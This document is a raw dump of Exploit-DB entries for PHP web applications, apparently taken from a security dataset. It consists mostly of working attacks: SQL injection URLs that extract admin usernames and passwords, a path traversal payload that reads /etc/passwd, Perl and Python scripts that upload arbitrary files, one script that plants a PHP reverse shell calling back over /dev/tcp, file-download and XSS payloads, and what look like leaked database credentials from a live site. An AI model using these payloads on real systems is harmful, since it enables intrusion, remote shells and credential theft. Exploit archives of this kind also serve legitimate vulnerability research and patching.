deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30450
Description: Lanius CMS 1.2.14 GALLERY Module - 'gid' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-03
Author: k1tk4t

Exploit:
source: https://www.securityfocus.com/bid/25193/info
  
LANAI CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
LANAI CMS 1.2.14 is vulnerable; other versions may also be affected. 

http://www.example.com/module.php?modname=gallery&mf=view&gid=1/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,userLogin,userPassword,4/**/FROM/**/tbl_ln_user/*
Exploit-DB #6562
Description: LanSuite 3.3.2 - 'design' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-25
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##########################################################################
 #  [ lansuite <= 3.4 beta r1363 ]   Local File Inclusion Vulnerability   #
 ##########################################################################
 #
 # Script: "Lansuite - Webbased LAN-Party Management System"
 #
 # Script site: http://lansuite.orgapage.de
 # Download: http://sourceforge.net/project/showfiles.php?group_id=105885
 #
 # Vuln: 
 # http://site.com/[lansuite-3.4_beta_r1363]/index.php?design=../../../../../../../../../../etc/passwd%00
 #     
 #
 # Bug: ./lansuite-3.4_beta_r1363/index.php (lines: 243-254)
 #
 # ...
 #	if (!$auth["design"]) $auth["design"] = "simple";
 #	if (!file_exists("design/{$auth["design"]}/templates/index.php")) $auth["design"] = "simple";
 #	$_SESSION["auth"]["design"] = $auth["design"];
 #	if ($_GET['design'] and $_GET['design'] != 'popup' and $_GET['design'] != 'base') $auth['design'] = $_GET['design'];      // [1]
 #
 #	// Statistic Functions (for generating server- and usage-statistics)
 #	if ($db->success)	$stats = new stats();
 #
 #	// Boxes
 #	if (!$IsAboutToInstall and !$_GET['contentonly'] and $_GET['design'] != 'base') include_once("modules/boxes/class_boxes.php");
 #
 #	if ($_GET['design'] != 'base') include_once('design/'. $auth['design'] .'/templates/index.php'); 			  // [2] LFI
 # ... 			    
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-25]
Exploit-DB #6573
Description: LanSuite 3.3.2 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-09-25
Author: Stack

Exploit:
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
print <<INTRO;
+++++++++++++++++++++++++++++++++++++++++++++++++++++
+ LanSuite 3.3.2 (fckeditor) Arbitrary File Upload  +
+                                                   +
+                   By: Stack                       +
+++++++++++++++++++++++++++++++++++++++++++++++++++++
INTRO
print "Enter URL(ie: http://site.com): ";
    chomp(my $url=<STDIN>);
  
print "Enter File Path(path to local file to upload): ";
    chomp(my $file=<STDIN>);
my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url.'/FCKeditor/editor/filemanager/upload/php/upload.php',
                      Content_Type => 'form-data',
                      Content      => [ NewFile => $file ] );
if($re->is_success) {
    if( index($re->content, "Disabled") != -1 ) { print "Exploit Successfull! File Uploaded!\n"; }
    else { print "File Upload Is Disabled! Failed!\n"; }
} else { print "HTTP Request Failed!\n"; }
exit;

# milw0rm.com [2008-09-25]
Exploit-DB #34824
Description: Lantern CMS - '11-login.asp' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-10-08
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/43865/info

Lantern CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/www/html/11-login.asp?intPassedLocationID=57%27%22%3E%3Cscript%3Ealert%2834%29%3C/script%3E
Exploit-DB #49112
Description: Laravel Administrator 4 - Unrestricted File Upload (Authenticated)
Type: webapps
Platform: php
Date: 2020-11-27
Author: Xavi Beltran

Exploit:
# Exploit title: Laravel Administrator 4 - Unrestricted File Upload (Authenticated)
# Author: Victor Campos and Xavi Beltran
# Contact: vcmartin@protonmail.com
# Exploit Development: https://xavibel.com/2020/03/23/unrestricted-file-upload-in-frozennode-laravel-administrator/
# Date: 25/3/2020
# Software link: https://github.com/FrozenNode/Laravel-Administrator/
# Version : 4
# Tested on: Laravel-Administrator 4
# CVE : CVE-2020-10963

#!/usr/bin/env python

import requests,json,traceback
from requests.auth import HTTPBasicAuth


#Parameters to be set up (ENTER YOUR VALUES)
#===========================================
# Listener IP and port
ip = ""
port = ""
#Admin credentials
user = ""
password = ""
#URLs of the web application
domain = "" # For example "https://www.example.com"
login_url = "" # For example "/user/login"
fileupload_url = "" # For example "/admin/categories/image/file_upload"
uploaded_files_url = "" # For example "/categories/images"



#Reverse shell payload (DO NOT MODIFY THIS SECTION)
#==================================================
#GIF file header
shell = "GIF89a\r\n"
#php reverse shell
shell += "\x3c?php\r\nexec(\"/bin/bash -c \'bash -i \x3e /dev/tcp/" + ip + "/" + port + " 0\x3e&1\'\");?\x3e\r\n"


with requests.Session() as s:
    try:
        print("\n[+] Logging into the panel")
        s.post(domain + login_url, data={'email':user,'password':password,'remember': '1'})
        print("[+] Uploading the malicious file")
        r = s.post(domain + fileupload_url, files={'name':'Picture.png','file': ('test.php',shell)})
        print("[+] Response text:")
        #print(r.text)
        shell_file = (json.loads(r.text))["filename"]
        print("[+] Name of uploaded file: " + shell_file)
        print("\n[+] Executing the reverse shell on " + ip + ":" + port + "...")
        r = s.get(domain + uploaded_files_url + '/' + shell_file)
    except Exception as e:
        print(str(traceback.format_exc()))
Exploit-DB #52000
Description: Laravel Framework 11 - Credential Leakage
Type: webapps
Platform: php
Date: 2024-04-21
Author: Huseein Amer

Exploit:
# Exploit Title: Laravel Framework 11 - Credential Leakage
# Google Dork: N/A
# Date: [2024-04-19]
# Exploit Author: Huseein Amer
# Vendor Homepage: [https://laravel.com/]
# Software Link: N/A
# Version: 8.* - 11.* (REQUIRED)
# Tested on: [N/A]
# CVE : CVE-2024-29291

Proof of concept:
Go to any Laravel-based website and navigate to storage/logs/laravel.log.

Open the file and search for "PDO->__construct('mysql:host=".
The result:
shell
Copy code
#0
/home/u429384055/domains/js-cvdocs.online/public_html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php(70):
PDO->__construct('mysql:host=sql1...', 'u429384055_jscv', 'Jaly$$a0p0p0p0',
Array)
#1
/home/u429384055/domains/js-cvdocs.online/public_html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php(46):
Illuminate\Database\Connectors\Connector->createPdoConnection('mysql:host=sql1...',
'u429384055_jscv', 'Jaly$$a0p0p0p0', Array)
Credentials:
Username: u429384055_jscv
[CREDENTIAL_REDACTED]
Host: sql1...
Exploit-DB #44343
Description: Laravel Log Viewer < 0.13.0 - Local File Download
Type: webapps
Platform: php
Date: 2018-03-26
Author: Haboob Team

Exploit:
# Exploit Title: Laravel log viewer by rap2hpoutre local file download (LFD)
# Date: 23/02/2018
# Exploit Author: Haboob Team
# Software Link: https://github.com/rap2hpoutre/laravel-log-viewer/tree/v0.11.1
# Version: v0.12.0 and below
# CVE : CVE-2018-8947

 
1. Description
   
Unauthorized user can access Laravel log viewer by rap2hpoutre and use download function to download any file with laravel permission, by base64 encode the wanted file.
 
   
2. Proof of Concept
 
#After providing the url of the vulnerable laravel log viewer by rap2hpoutre (with / in the end or you can edit it yourself), and the file wanted including "../" the script will create a folder and save the downloaded file there
 
import os
import base64
from urllib2 import urlopen, URLError, HTTPError
import argparse
import cookielib
parser = argparse.ArgumentParser(description='_0_ Laravel 0Day _0_')
parser.add_argument("-u", action="store", dest="url", help="Target URL", required=True)
parser.add_argument("-f", action="store", dest="file", help="Target File", required=True)

args = parser.parse_args()
url = str(args.url).strip()+"/logs/?dl="
final_file= args.file
if not os.path.exists("./0Grats0"):
    os.makedirs("./0Grats0")

word = str(args.file).split('/')
word1= "./0Grats0/"+word[-1]
finalee=url+base64.b64encode(final_file)

try:
    f = urlopen(finalee)
        with open(word1, "wb") as local_file:
            local_file.write(f.read())
except HTTPError, e:
        print "HTTP Error:", e.code, finalee
except URLError, e:
        print "URL Error:", e.reason, finalee
 
 
 
 
   
3. Solution:
   
Update to version v0.13.0
https://github.com/rap2hpoutre/laravel-log-viewer/releases/tag/v0.13.0
Exploit-DB #49198
Description: Laravel Nova 3.7.0 - 'range' DoS
Type: webapps
Platform: php
Date: 2020-12-04
Author: iqzer0

Exploit:
# Exploit Title: Laravel Nova 3.7.0 - 'range' DoS
# Date: June 22, 2020
# Exploit Author: iqzer0
# Vendor Homepage: https://nova.laravel.com/
# Software Link: https://nova.laravel.com/releases
# Version: Version v3.7.0
# Tested on: Manjaro / Chrome v83

An authenticated user can crash the application by setting a higher
value to the 'range' (default 30) parameter and sending simultaneous
requests (10 simultaneous requests was enough to DoS the server in my
testing)

Vulnerable URL:
https://example.com/nova-api/metrics/sum-orders?timezone=Indian%2FMaldives&twelveHourTime=true&range=3000000
Vulnerable Parameter: range
Exploit-DB #5886
Description: LaserNet CMS 1.5 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-06-21
Author: t0pP8uZz

Exploit:
#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;

print <<INTRO;
+++++++++++++++++++++++++++++++++++++++++++++++++++++
+ LaserNet CMS <= 1.5 Arbitrary File Upload Exploit +
+                                                   +
+         Discovered && Coded By: t0pP8uZz          +
+    Discovered On: 19 JUNE 2008 / milw0rm.com      +
+    Script Download: http://lasernet.gr/cms.php    +
+++++++++++++++++++++++++++++++++++++++++++++++++++++

INTRO

print "Enter URL(ie: http://site.com): ";
    chomp(my $url=<STDIN>);
    
print "Enter File Path(path to local file to upload): ";
    chomp(my $file=<STDIN>);

my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url.'/admin/FCKeditor/editor/filemanager/upload/php/upload.php',
                      Content_Type => 'form-data',
                      Content      => [ NewFile => $file ] );

if($re->is_success) {
    if( index($re->content, "Disabled") != -1 ) { print "Exploit Successfull! File Uploaded!\n"; }
    else { print "File Upload Is Disabled! Failed!\n"; }
} else { print "HTTP Request Failed!\n"; }

exit;

# milw0rm.com [2008-06-21]
Exploit-DB #5454
Description: LaserNet CMS 1.5 - SQL Injection
Type: webapps
Platform: php
Date: 2008-04-15
Author: cO2

Exploit:
###################################################
[~] Lasernet CMS v1.5 Remote Sql Ä°nj. Vuln.
                                                                                                               
[~] Founder: cO2 [ Algeria Security Crew ]
[~] HomePage: http://www.DZ-Secure.com
[~] Greatz : To all Hackerz from Algeria & All My Friends . . .
[~] Contact: c02@Hotmail.de
[~] Exploit :
http://www.xxx.org//index.php?id=new&new=-1'%20UNION%20ALL%20SELECT%201,2,concat(database(),char(58),user(),char(58),version()),concat(username,0x3e,password),5,6,7,8,9+from+admins/*
---------------------
http://www.DZ-Secure.com
---------------------
###############################################

# milw0rm.com [2008-04-15]
Exploit-DB #33947
Description: Last Wizardz - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-31
Author: Sec Attack Team

Exploit:
source: https://www.securityfocus.com/bid/39968/info

Last Wizardz is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/content.php?id=NULL+UNION+ALL+SELECT+1,CONCAT(id,0x3a,admin,0x3a,admin_pass),3,4,5,6,7,8+FROM+site_admin
Exploit-DB #36897
Description: LastGuru ASP Guestbook - 'View.asp' SQL Injection
Type: webapps
Platform: php
Date: 2012-03-04
Author: demonalex

Exploit:
source: https://www.securityfocus.com/bid/52293/info

LastGuru ASP GuestBook is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/victim/View.asp?E_Mail=webmaster@lastguru.com' and 'a'='a
Exploit-DB #32804
Description: lastRSS autoposting bot MOD 0.1.3 - 'phpbb_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-02-20
Author: Kacper

Exploit:
source: https://www.securityfocus.com/bid/33843/info

lastRSS autoposting bot MOD is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

This issue affects lastRSS autoposting bot MOD 0.1.3; other versions may also be vulnerable. 

http://www.example.com/includes/functions_lastrss_autopost.php?config[lastrss_ap_enabled]=1&phpbb_root_path=[evil_code]
Exploit-DB #50220
Description: Laundry Booking Management System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-08-20
Author: Azumah Foresight Xorlali

Exploit:
# Exploit Title: Laundry Booking Management System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 2021-08-19
# Exploit Author: Azumah Foresight Xorlali
# Vendor Homepage: https://www.sourcecodester.com/php/14400/laundry-booking-management-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14400&title=Laundry+Booking+Management+System+in+PHP+with+Free+Source+Code
# Version: Version 1.0
# Category: Web Application
# Tested on: Kali Linux

Step1: Log in to the application with any valid user credentials.
Step2: Select User Management and click add new user.
Step3: Fill the required details and type "<script>alert(document.domain)</script>" in the address box  or you can it on a notepad and paste it into the firstname and lastname since it doesn't you to type special characters into those fields
Step 4:Click on  Submit
Exploit-DB #43288
Description: Laundry Booking Script 1.0 - 'list?city' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Laundry Booking Script 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/laundry-booking-script/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/list?city=[SQL]&main_search=
# 
# -1'+/*!11111UNION*/+/*!11111SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53--+-&main_search=
# 
# http://server/laundry-search/list?city=-1'+/*!11111UNION*/+/*!11111SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53--+-&main_search=
# 
# # # # #
Exploit-DB #23621
Description: Laurent Adda Les Commentaires 2.0 - PHP Script 'admin.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-01-30
Author: Himeur Nourredine

Exploit:
source: https://www.securityfocus.com/bid/9536/info
  
It has been reported that Les Commentaires may be prone to a file include vulnerability in various modules, that may allow an attacker to include malicious external files containing arbitrary PHP code to be executed on a vulnerable system.
  
All versions of Les Commentaires have been reported to be prone to this issue.

http://www.example.com/admin.php?rep=http://www.example.com/
Exploit-DB #23620
Description: Laurent Adda Les Commentaires 2.0 - PHP Script 'derniers_commentaires.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-01-30
Author: Himeur Nourredine

Exploit:
source: https://www.securityfocus.com/bid/9536/info
 
It has been reported that Les Commentaires may be prone to a file include vulnerability in various modules, that may allow an attacker to include malicious external files containing arbitrary PHP code to be executed on a vulnerable system.
 
All versions of Les Commentaires have been reported to be prone to this issue.

http://www.example.com/derniers_commentaires.php?rep=http://www.example.com/
Exploit-DB #23619
Description: Laurent Adda Les Commentaires 2.0 - PHP Script 'fonctions.lib.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-01-30
Author: Himeur Nourredine

Exploit:
source: https://www.securityfocus.com/bid/9536/info

It has been reported that Les Commentaires may be prone to a file include vulnerability in various modules, that may allow an attacker to include malicious external files containing arbitrary PHP code to be executed on a vulnerable system.

All versions of Les Commentaires have been reported to be prone to this issue.

http://www.example.com/config/fonctions.lib.php?rep=http://www.example.com/
Exploit-DB #42643
Description: Law Firm 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Law Firm Website Script 1.0 - SQL Injection
# Dork: N/A
# Date: 09.09.2017
# Vendor Homepage: http://scriptzee.com/
# Software Link: http://scriptzee.com/small-business/law-firm-website
# Demo: http://lawwebsite.scriptzee.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept:
# 
# http://localhost/[PATH]/business-searchlist?country=[SQL]&state=[SQL]&city=[SQL]&farm_cat=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #27202
Description: Lawrence Osiris DB_eSession 1.0.2 - Class SQL Injection
Type: webapps
Platform: php
Date: 2006-02-13
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/16598/info

DB_eSession is prone to an SQL-injection vulnerability. The application fails to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

GET http://www.example.com/index.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=[PII_REDACTED][PII_REDACTED][PII_REDACTED]35%00' or 1=1/*
Exploit-DB #43289
Description: Lawyer Search Script 1.1 - 'lawyer-list?city' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Lawyer Search Script 1.1 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/lawyer-script/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/lawyer-list?city=[SQL]&main_search=
# 
# -1'+/*!11111UNION*/+/*!11111SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-
# 
# http://server/lawyer-list?city=-1'+/*!11111UNION*/+/*!11111SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-&main_search=
# 
# # # # #
Exploit-DB #46079
Description: LayerBB 1.1.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-01-07
Author: 0xB9

Exploit:
# Exploit Title: LayerBB 1.1.1 - Cross-Site Scripting
# Date: 10/4/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://forum.layerbb.com/downloads.php?view=file&id=26
# Version: 1.1.1
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-17997


1. Description:
LayerBB is a free open-source forum software. The XSS found allows users to add a payload to the title of conversations (PMs).
 

2. Proof of Concept:

- Start a new conversation sending to any user (victim) you want
- Use a payload in the title  <script>alert('XSS')</script>
- Next time the user (victim) visits the site payload will execute


3. Solution:
Update to 1.1.2